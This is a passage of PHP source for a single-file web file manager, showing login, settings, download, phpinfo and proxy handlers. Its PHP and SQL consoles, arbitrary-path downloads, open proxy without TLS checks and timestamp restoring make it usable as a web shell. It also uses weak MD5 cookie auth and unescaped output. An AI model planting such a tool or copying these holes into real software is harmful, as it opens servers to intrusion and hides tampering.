	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
